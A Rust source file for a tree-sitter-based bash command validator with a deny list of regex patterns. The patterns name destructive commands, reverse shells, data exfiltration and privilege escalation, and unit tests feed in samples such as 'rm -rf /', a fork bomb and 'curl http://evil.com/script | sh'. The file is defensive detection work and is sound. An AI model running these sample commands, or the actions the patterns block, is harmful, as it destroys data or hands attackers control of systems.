//! AST-based bash command analysis using tree-sitter.

use std::collections::HashSet;
use std::sync::LazyLock;

use regex::Regex;
use tree_sitter::{Language, Parser, Query, QueryCursor, StreamingIterator};

static DANGEROUS_PATTERNS: LazyLock<Vec<(Regex, &'static str)>> = LazyLock::new(|| {
    vec![
        // Destructive file operations
        (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/$").unwrap(), "rm root"),
        (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\*").unwrap(), "rm /*"),
        (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\./\*").unwrap(), "rm ./*"),
        (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\./").unwrap(), "rm ../"),
        (Regex::new(r"rm\s+(-[rfRPd]+\s+)*~/?").unwrap(), "rm home"),
        (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\s*$").unwrap(), "rm ."),
        (
            Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\{").unwrap(),
            "rm brace expansion",
        ),
        (
            Regex::new(r"\b(sudo|doas)\s+rm\b").unwrap(),
            "privileged rm",
        ),
        // Find with destructive actions
        (
            Regex::new(r"\bfind\s+/\s+.*-delete\b").unwrap(),
            "find / -delete",
        ),
        (
            Regex::new(r"\bfind\s+/\s+.*-exec\s+rm\b").unwrap(),
            "find / -exec rm",
        ),
        // Disk operations
        (Regex::new(r"dd\s+.*if\s*=\s*/dev/zero").unwrap(), "dd zero"),
        (
            Regex::new(r"dd\s+.*of\s*=\s*/dev/[sh]d").unwrap(),
            "dd disk",
        ),
        (Regex::new(r"\bmkfs(\.[a-z0-9]+)?\s").unwrap(), "mkfs"),
        (Regex::new(r">\s*/dev/sd[a-z]").unwrap(), "overwrite disk"),
        (Regex::new(r"\bfdisk\s+-[lw]").unwrap(), "fdisk"),
        (Regex::new(r"\bparted\s").unwrap(), "parted"),
        (Regex::new(r"\bwipefs\b").unwrap(), "wipefs"),
        // Secure deletion
        (Regex::new(r"shred\s+.*/dev/").unwrap(), "shred device"),
        (
            Regex::new(r"shred\s+(-[a-z]+\s+)*/$").unwrap(),
            "shred root",
        ),
        (Regex::new(r"\bsrm\b").unwrap(), "secure-delete"),
        // Fork bomb and resource exhaustion
        (
            Regex::new(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:").unwrap(),
            "fork bomb",
        ),
        (
            Regex::new(r"while\s+true\s*;\s*do\s*:\s*done").unwrap(),
            "infinite loop",
        ),
        // Privilege escalation
        (Regex::new(r"\bpkexec\b").unwrap(), "pkexec"),
        (Regex::new(r"\bsu\s+-(\s|$|;|\|)").unwrap(), "su root"),
        (Regex::new(r"\bsu\s+root\b").unwrap(), "su root explicit"),
        (Regex::new(r"\bdoas\s+-s\b").unwrap(), "doas shell"),
        // System control
        (Regex::new(r"\bshutdown\b").unwrap(), "shutdown"),
        (Regex::new(r"(^|[^a-z])reboot\b").unwrap(), "reboot"),
        (Regex::new(r"\binit\s+[06]\b").unwrap(), "init halt"),
        (
            Regex::new(r"\bsystemctl\s+(halt|poweroff|reboot)\b").unwrap(),
            "systemctl power",
        ),
        (Regex::new(r"\bhalt\b").unwrap(), "halt"),
        (Regex::new(r"\bpoweroff\b").unwrap(), "poweroff"),
        // Permission changes on system paths
        (
            Regex::new(r"chmod\s+(-[a-zA-Z]+\s+)*[0-7]*[67][0-7]*\s+/").unwrap(),
            "chmod world-writable",
        ),
        (Regex::new(r"chown\s+.*\s+/$").unwrap(), "chown root"),
        (
            Regex::new(r"\bchattr\s+\+i\s+/").unwrap(),
            "chattr immutable",
        ),
        // Network and firewall
        (Regex::new(r"\biptables\s+-F").unwrap(), "iptables flush"),
        (Regex::new(r"\bufw\s+disable").unwrap(), "ufw disable"),
        (
            Regex::new(r"\bfirewall-cmd\s+.*--panic-on").unwrap(),
            "firewall panic",
        ),
        // Remote execution
        (
            Regex::new(r"(wget|curl)\s+[^|]*\|\s*(ba)?sh\b").unwrap(),
            "remote exec",
        ),
        (Regex::new(r"\beval\s+.*\$\(").unwrap(), "eval subshell"),
        // Process killing
        (
            Regex::new(r"\bkillall\s+-9\s+(init|systemd)").unwrap(),
            "kill init",
        ),
        (Regex::new(r"\bkill\s+-9\s+-1\b").unwrap(), "kill all"),
        (Regex::new(r"\bpkill\s+-9\s+-1\b").unwrap(), "pkill all"),
        // History manipulation
        (Regex::new(r"history\s+-[cd]").unwrap(), "history clear"),
        (
            Regex::new(r"export\s+HISTFILE\s*=\s*/dev/null").unwrap(),
            "disable history",
        ),
        // Cron and scheduled tasks
        (Regex::new(r"\bcrontab\s+-r\b").unwrap(), "crontab remove"),
        (Regex::new(r"\bat\s+-d\b").unwrap(), "at remove"),
        // Encryption/destruction
        (
            Regex::new(r"\bcryptsetup\s+luksFormat").unwrap(),
            "luks format",
        ),
        // Network reconnaissance
        (Regex::new(r"\bnmap\s+-sS").unwrap(), "nmap syn scan"),
        // Reverse shells
        (
            Regex::new(r"bash\s+-i\s*>?\s*&\s*/dev/tcp/").unwrap(),
            "bash reverse shell",
        ),
        (
            Regex::new(r"exec\s+\d+<>/dev/tcp/").unwrap(),
            "exec fd reverse shell",
        ),
        (Regex::new(r"exec\s+\d+<&\d+").unwrap(), "exec fd redirect"),
        (
            Regex::new(r"\bnc\s+(-[a-z]+\s+)*-e\s+/bin/(ba)?sh").unwrap(),
            "nc reverse shell",
        ),
        (
            Regex::new(r#"python[23]?\s+-c\s+["']import\s+(socket|pty)"#).unwrap(),
            "python reverse shell",
        ),
        (
            Regex::new(r#"perl\s+-e\s+["'].*socket.*exec"#).unwrap(),
            "perl reverse shell",
        ),
        (
            Regex::new(r"ruby\s+-rsocket\s+-e").unwrap(),
            "ruby reverse shell",
        ),
        (
            Regex::new(r#"php\s+-r\s+["'].*fsockopen"#).unwrap(),
            "php reverse shell",
        ),
        (
            Regex::new(r"\bmkfifo\s+.*\|\s*(nc|ncat)\b").unwrap(),
            "fifo reverse shell",
        ),
        (Regex::new(r"\bsocat\s+.*exec:").unwrap(), "socat exec"),
        // Kernel module manipulation
        (Regex::new(r"\binsmod\s").unwrap(), "insmod"),
        (Regex::new(r"\bmodprobe\s").unwrap(), "modprobe"),
        (Regex::new(r"\brmmod\s").unwrap(), "rmmod"),
        // Container escape
        (Regex::new(r"\bnsenter\s").unwrap(), "nsenter"),
        (
            Regex::new(r"\bunshare\s+.*--mount").unwrap(),
            "unshare mount",
        ),
        (Regex::new(r"mount\s+-t\s+proc\b").unwrap(), "mount proc"),
        (
            Regex::new(r"mount\s+--bind\s+/").unwrap(),
            "mount bind root",
        ),
        // Security policy bypass
        (Regex::new(r"\bsetenforce\s+0").unwrap(), "selinux disable"),
        (Regex::new(r"\baa-disable\b").unwrap(), "apparmor disable"),
        (Regex::new(r"\baa-teardown\b").unwrap(), "apparmor teardown"),
        // Memory/core dump
        (Regex::new(r"\bgcore\s").unwrap(), "gcore dump"),
        (Regex::new(r"cat\s+/proc/\d+/mem").unwrap(), "proc mem read"),
        // Data exfiltration patterns
        (
            Regex::new(r"base64\s+.*\|\s*(curl|wget|nc)\b").unwrap(),
            "base64 exfil",
        ),
        (
            Regex::new(r"tar\s+[^|]*\|\s*(nc|curl|wget)\b").unwrap(),
            "tar exfil",
        ),
        // Dangerous xargs
        (
            Regex::new(r"\bxargs\s+(-[^\s]+\s+)*rm\s+-rf").unwrap(),
            "xargs rm -rf",
        ),
        // SUID/SGID bit manipulation
        (
            Regex::new(r"\bchmod\s+[ugo]*\+s\b").unwrap(),
            "chmod setuid/setgid",
        ),
        (
            Regex::new(r"\bchmod\s+[0-7]*[4-7][0-7]{2}\b").unwrap(),
            "chmod suid bits",
        ),
        // Chroot escape
        (Regex::new(r"\bchroot\s").unwrap(), "chroot"),
        // Mount operations (bind, overlay)
        (Regex::new(r"\bmount\s+--bind\b").unwrap(), "mount bind"),
        (
            Regex::new(r"\bmount\s+-o\s+\S*bind").unwrap(),
            "mount -o bind",
        ),
        (
            Regex::new(r"\bmount\s+-t\s+overlay\b").unwrap(),
            "mount overlay",
        ),
        (Regex::new(r"\bumount\s+-l\b").unwrap(), "lazy umount"),
        // Firewall bypass
        (
            Regex::new(r"\biptables\s+-P\s+\S+\s+ACCEPT").unwrap(),
            "iptables default accept",
        ),
        (
            Regex::new(r"\bufw\s+default\s+allow").unwrap(),
            "ufw default allow",
        ),
        (Regex::new(r"\bnft\s+flush\s+ruleset").unwrap(), "nft flush"),
        // Kernel parameter manipulation
        (Regex::new(r"\bsysctl\s+-w\b").unwrap(), "sysctl write"),
        (Regex::new(r">\s*/proc/sys/").unwrap(), "proc sys write"),
        // Debug/tracing tools (potential info leak)
        (Regex::new(r"\bstrace\s+-p\b").unwrap(), "strace attach"),
        (Regex::new(r"\bltrace\s+-p\b").unwrap(), "ltrace attach"),
        (Regex::new(r"\bptrace\b").unwrap(), "ptrace"),
        // Process limit DoS
        (
            Regex::new(r"\bulimit\s+-[nu]\s*0\b").unwrap(),
            "ulimit zero",
        ),
        // Capability manipulation
        (Regex::new(r"\bsetcap\b").unwrap(), "setcap"),
        (Regex::new(r"\bcapsh\b").unwrap(), "capsh"),
        // Additional dangerous operations
        (Regex::new(r"\bkexec\b").unwrap(), "kexec"),
        (Regex::new(r"\bpivot_root\b").unwrap(), "pivot_root"),
        (Regex::new(r"\bswapoff\s+-a\b").unwrap(), "swapoff all"),
        // Encoding/obfuscation bypass patterns
        (
            Regex::new(r#"\$'\\x[0-9a-fA-F]"#).unwrap(),
            "hex encoded command",
        ),
        (
            Regex::new(r"\bbase64\s+(-d|--decode)\b").unwrap(),
            "base64 decode",
        ),
        (Regex::new(r"\bxxd\s+-r\b").unwrap(), "hex decode"),
        (
            Regex::new(r#"\bprintf\s+['"]\\x[0-9a-fA-F]"#).unwrap(),
            "printf hex encode",
        ),
        // GNU long-option destructive patterns
        (
            Regex::new(r"\brm\s+--recursive\b").unwrap(),
            "rm --recursive",
        ),
        (
            Regex::new(r"\brm\s+.*--no-preserve-root\b").unwrap(),
            "rm --no-preserve-root",
        ),
        (
            Regex::new(r"\bchmod\s+[augo]*[+-][rwxst]+\s+/").unwrap(),
            "chmod symbolic system path",
        ),
        (
            Regex::new(r"\bfind\s+.*-exec\s+shred\b").unwrap(),
            "find -exec shred",
        ),
    ]
});

fn bash_language() -> Language {
    tree_sitter_bash::LANGUAGE.into()
}

#[derive(Debug, Clone, PartialEq, Eq)]
pub enum SecurityConcern {
    CommandSubstitution,
    ProcessSubstitution,
    EvalUsage,
    RemoteExecution,
    PrivilegeEscalation,
    DangerousCommand(String),
    VariableExpansion,
    BacktickSubstitution,
}

#[derive(Debug, Clone)]
pub struct ReferencedPath {
    pub path: String,
    pub context: PathContext,
}

#[derive(Debug, Clone, PartialEq, Eq)]
pub enum PathContext {
    Argument,
    InputRedirect,
    OutputRedirect,
    HereDoc,
}

#[derive(Debug, Clone)]
pub struct BashAnalysis {
    pub paths: Vec<ReferencedPath>,
    pub commands: Vec<String>,
    pub env_vars: HashSet<String>,
    pub concerns: Vec<SecurityConcern>,
}

impl BashAnalysis {
    fn new() -> Self {
        Self {
            paths: Vec::new(),
            commands: Vec::new(),
            env_vars: HashSet::new(),
            concerns: Vec::new(),
        }
    }
}

#[derive(Debug, Clone, Default)]
pub struct BashPolicy {
    pub allow_command_substitution: bool,
    pub allow_process_substitution: bool,
    pub allow_eval: bool,
    pub allow_remote_exec: bool,
    pub allow_privilege_escalation: bool,
    pub allow_variable_expansion: bool,
    pub blocked_commands: HashSet<String>,
}

impl BashPolicy {
    pub fn strict() -> Self {
        Self {
            allow_command_substitution: false,
            allow_process_substitution: false,
            allow_eval: false,
            allow_remote_exec: false,
            allow_privilege_escalation: false,
            allow_variable_expansion: false,
            blocked_commands: Self::default_blocked_commands(),
        }
    }

    pub fn permissive() -> Self {
        Self {
            allow_command_substitution: true,
            allow_process_substitution: true,
            allow_eval: true,
            allow_remote_exec: true,
            allow_privilege_escalation: true,
            allow_variable_expansion: true,
            blocked_commands: HashSet::new(),
        }
    }

    pub fn default_blocked_commands() -> HashSet<String> {
        [
            "curl", "wget", "nc", "ncat", "netcat", "telnet", "ftp", "sftp", "scp", "rsync",
        ]
        .into_iter()
        .map(String::from)
        .collect()
    }

    pub fn blocked_commands(
        mut self,
        commands: impl IntoIterator<Item = impl Into<String>>,
    ) -> Self {
        self.blocked_commands = commands.into_iter().map(Into::into).collect();
        self
    }

    pub fn is_command_blocked(&self, command: &str) -> bool {
        let base_command = command.split_whitespace().next().unwrap_or(command);
        self.blocked_commands.contains(base_command)
    }

    pub fn allows(&self, concern: &SecurityConcern) -> bool {
        match concern {
            SecurityConcern::CommandSubstitution | SecurityConcern::BacktickSubstitution => {
                self.allow_command_substitution
            }
            SecurityConcern::ProcessSubstitution => self.allow_process_substitution,
            SecurityConcern::EvalUsage => self.allow_eval,
            SecurityConcern::RemoteExecution => self.allow_remote_exec,
            SecurityConcern::PrivilegeEscalation => self.allow_privilege_escalation,
            SecurityConcern::VariableExpansion => self.allow_variable_expansion,
            SecurityConcern::DangerousCommand(_) => false,
        }
    }
}

#[derive(Clone)]
pub struct BashAnalyzer {
    policy: BashPolicy,
}

impl BashAnalyzer {
    pub fn new(policy: BashPolicy) -> Self {
        Self { policy }
    }

    pub fn analyze(&self, command: &str) -> BashAnalysis {
        let mut analysis = BashAnalysis::new();

        self.check_dangerous_patterns(command, &mut analysis);

        let mut parser = Parser::new();
        if parser.set_language(&bash_language()).is_err() {
            self.fallback_analysis(command, &mut analysis);
            return analysis;
        }

        let Some(tree) = parser.parse(command, None) else {
            self.fallback_analysis(command, &mut analysis);
            return analysis;
        };

        self.extract_paths_from_tree(&tree, command, &mut analysis);
        self.extract_commands_from_tree(&tree, command, &mut analysis);
        self.check_security_concerns(&tree, command, &mut analysis);

        analysis
    }

    pub fn validate(&self, command: &str) -> Result<BashAnalysis, String> {
        let analysis = self.analyze(command);

        // Check blocked commands
        for cmd in &analysis.commands {
            if self.policy.is_command_blocked(cmd) {
                return Err(format!("Blocked command: {}", cmd));
            }
        }

        for concern in &analysis.concerns {
            if !self.policy.allows(concern) {
                return Err(format!("Security concern: {:?}", concern));
            }
        }

        Ok(analysis)
    }

    fn check_dangerous_patterns(&self, command: &str, analysis: &mut BashAnalysis) {
        let normalized = Self::normalize_whitespace(command);
        for (pattern, name) in DANGEROUS_PATTERNS.iter() {
            if pattern.is_match(&normalized) {
                analysis
                    .concerns
                    .push(SecurityConcern::DangerousCommand(name.to_string()));
            }
        }
    }

    fn normalize_whitespace(command: &str) -> String {
        static WS_RE: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"[ \t]+").unwrap());
        WS_RE.replace_all(command.trim(), " ").to_string()
    }

    fn extract_paths_from_tree(
        &self,
        tree: &tree_sitter::Tree,
        source: &str,
        analysis: &mut BashAnalysis,
    ) {
        let query_str = r#"
            (word) @arg
            (file_redirect (word) @redirect_file)
            (heredoc_redirect (heredoc_body) @heredoc)
        "#;

        if let Ok(query) = Query::new(&bash_language(), query_str) {
            let mut cursor = QueryCursor::new();
            let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
            while let Some(m) = matches.next() {
                for capture in m.captures {
                    let text = &source[capture.node.byte_range()];
                    if text.starts_with('/') && !text.starts_with("/dev/") {
                        let context = match capture.index {
                            1 => PathContext::InputRedirect,
                            2 => PathContext::HereDoc,
                            _ => PathContext::Argument,
                        };
                        analysis.paths.push(ReferencedPath {
                            path: text.to_string(),
                            context,
                        });
                    }
                }
            }
        }

        self.extract_redirect_paths(source, analysis);
    }

    fn extract_redirect_paths(&self, source: &str, analysis: &mut BashAnalysis) {
        static REDIRECT_RE: LazyLock<Regex> =
            LazyLock::new(|| Regex::new(r"[<>]&?\s*(/[^\s;&|]+)").unwrap());

        for cap in REDIRECT_RE.captures_iter(source) {
            if let Some(path_match) = cap.get(1) {
                let path = path_match.as_str();
                if !path.starts_with("/dev/") {
                    let context = if source[..cap.get(0).unwrap().start()].ends_with('<') {
                        PathContext::InputRedirect
                    } else {
                        PathContext::OutputRedirect
                    };
                    analysis.paths.push(ReferencedPath {
                        path: path.to_string(),
                        context,
                    });
                }
            }
        }
    }

    fn extract_commands_from_tree(
        &self,
        tree: &tree_sitter::Tree,
        source: &str,
        analysis: &mut BashAnalysis,
    ) {
        let query_str = "(command name: (command_name) @cmd)";

        if let Ok(query) = Query::new(&bash_language(), query_str) {
            let mut cursor = QueryCursor::new();
            let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
            while let Some(m) = matches.next() {
                for capture in m.captures {
                    let cmd = &source[capture.node.byte_range()];
                    analysis.commands.push(cmd.to_string());
                }
            }
        }
    }

    fn check_security_concerns(
        &self,
        tree: &tree_sitter::Tree,
        source: &str,
        analysis: &mut BashAnalysis,
    ) {
        let query_str = r#"
            (command_substitution) @cmd_sub
            (process_substitution) @proc_sub
            (expansion) @var_exp
            (simple_expansion) @simple_exp
        "#;

        if let Ok(query) = Query::new(&bash_language(), query_str) {
            let mut cursor = QueryCursor::new();
            let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
            while let Some(m) = matches.next() {
                for capture in m.captures {
                    match capture.index {
                        0 => analysis.concerns.push(SecurityConcern::CommandSubstitution),
                        1 => analysis.concerns.push(SecurityConcern::ProcessSubstitution),
                        2 | 3 => {
                            let var_text = &source[capture.node.byte_range()];
                            analysis.env_vars.insert(var_text.to_string());
                            analysis.concerns.push(SecurityConcern::VariableExpansion);
                        }
                        _ => {}
                    }
                }
            }
        }

        // Detect backtick command substitution
        if source.contains('`') {
            analysis
                .concerns
                .push(SecurityConcern::BacktickSubstitution);
        }

        for cmd in &analysis.commands {
            match cmd.as_str() {
                "eval" | "source" | "." => analysis.concerns.push(SecurityConcern::EvalUsage),
                "sudo" | "doas" | "pkexec" | "su" => {
                    analysis.concerns.push(SecurityConcern::PrivilegeEscalation)
                }
                _ => {}
            }
        }

        // Enhanced remote execution detection
        self.check_remote_execution(source, analysis);
    }

    fn check_remote_execution(&self, source: &str, analysis: &mut BashAnalysis) {
        static REMOTE_EXEC_RE: LazyLock<Regex> = LazyLock::new(|| {
            Regex::new(r"(curl|wget)\s+[^|]*\|\s*(ba)?sh|env\s+bash|exec\s+bash").unwrap()
        });
        if REMOTE_EXEC_RE.is_match(source) {
            analysis.concerns.push(SecurityConcern::RemoteExecution);
        }
        static PIPE_SHELL_RE: LazyLock<Regex> =
            LazyLock::new(|| Regex::new(r"(curl|wget)\s[^|]*\|\s*\b(ba)?sh\b").unwrap());
        if PIPE_SHELL_RE.is_match(source)
            && !analysis
                .concerns
                .contains(&SecurityConcern::RemoteExecution)
        {
            analysis.concerns.push(SecurityConcern::RemoteExecution);
        }
    }

    fn fallback_analysis(&self, command: &str, analysis: &mut BashAnalysis) {
        static PATH_RE: LazyLock<Regex> =
            LazyLock::new(|| Regex::new(r#"(?:^|[\s'"=])(/[^\s'";&|><$`\\]+)"#).unwrap());
        static VAR_RE: LazyLock<Regex> =
            LazyLock::new(|| Regex::new(r"\$\{?[a-zA-Z_][a-zA-Z0-9_]*\}?").unwrap());

        for cap in PATH_RE.captures_iter(command) {
            if let Some(path_match) = cap.get(1) {
                let path = path_match.as_str();
                if !path.starts_with("/dev/")
                    && !path.starts_with("/proc/")
                    && !path.starts_with("/sys/")
                {
                    analysis.paths.push(ReferencedPath {
                        path: path.to_string(),
                        context: PathContext::Argument,
                    });
                }
            }
        }

        static CMD_RE: LazyLock<Regex> =
            LazyLock::new(|| Regex::new(r"^(\w+)|[;&|]\s*(\w+)").unwrap());

        for cap in CMD_RE.captures_iter(command) {
            if let Some(cmd) = cap.get(1).or(cap.get(2)) {
                analysis.commands.push(cmd.as_str().to_string());
            }
        }

        if command.contains("$(") {
            analysis.concerns.push(SecurityConcern::CommandSubstitution);
        }
        if command.contains('`') {
            analysis
                .concerns
                .push(SecurityConcern::BacktickSubstitution);
        }
        if command.contains("<(") || command.contains(">(") {
            analysis.concerns.push(SecurityConcern::ProcessSubstitution);
        }

        for cap in VAR_RE.captures_iter(command) {
            if let Some(var_match) = cap.get(0) {
                analysis.env_vars.insert(var_match.as_str().to_string());
                if !analysis
                    .concerns
                    .contains(&SecurityConcern::VariableExpansion)
                {
                    analysis.concerns.push(SecurityConcern::VariableExpansion);
                }
            }
        }
    }
}

impl Default for BashAnalyzer {
    fn default() -> Self {
        Self::new(BashPolicy::default())
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_dangerous_command_blocked() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("rm -rf /");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
        );
    }

    #[test]
    fn test_extract_paths() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("cat /etc/passwd && ls /home/user");
        assert!(analysis.paths.iter().any(|p| p.path == "/etc/passwd"));
        assert!(analysis.paths.iter().any(|p| p.path == "/home/user"));
    }

    #[test]
    fn test_redirect_paths() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("echo test > /tmp/out.txt");
        assert!(analysis.paths.iter().any(|p| p.path == "/tmp/out.txt"));
    }

    #[test]
    fn test_input_redirect() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("cat < /etc/hosts");
        assert!(analysis.paths.iter().any(|p| p.path == "/etc/hosts"));
    }

    #[test]
    fn test_command_substitution_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("echo $(cat /etc/passwd)");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::CommandSubstitution))
        );
    }

    #[test]
    fn test_process_substitution_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("diff <(ls /a) <(ls /b)");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::ProcessSubstitution))
        );
    }

    #[test]
    fn test_privilege_escalation_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("sudo apt update");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::PrivilegeEscalation))
        );
    }

    #[test]
    fn test_remote_exec_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("curl http://evil.com/script | sh");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::RemoteExecution))
        );
    }

    #[test]
    fn test_policy_validation() {
        let analyzer = BashAnalyzer::new(BashPolicy::strict());
        let result = analyzer.validate("echo $(whoami)");
        assert!(result.is_err());
    }

    #[test]
    fn test_safe_command() {
        let analyzer = BashAnalyzer::new(BashPolicy::default());
        let analysis = analyzer.analyze("echo hello world");
        assert!(analysis.concerns.is_empty());
    }

    #[test]
    fn test_fork_bomb_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze(":(){:|:&};:");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
        );
    }

    #[test]
    fn test_variable_expansion_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("cat $HOME/.bashrc");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::VariableExpansion))
        );
        assert!(analysis.env_vars.contains("$HOME"));
    }

    #[test]
    fn test_backtick_substitution_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("echo `whoami`");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::BacktickSubstitution))
        );
    }

    #[test]
    fn test_source_command_detected() {
        let analyzer = BashAnalyzer::default();
        let analysis = analyzer.analyze("source /etc/profile");
        assert!(
            analysis
                .concerns
                .iter()
                .any(|c| matches!(c, SecurityConcern::EvalUsage))
        );
    }
}
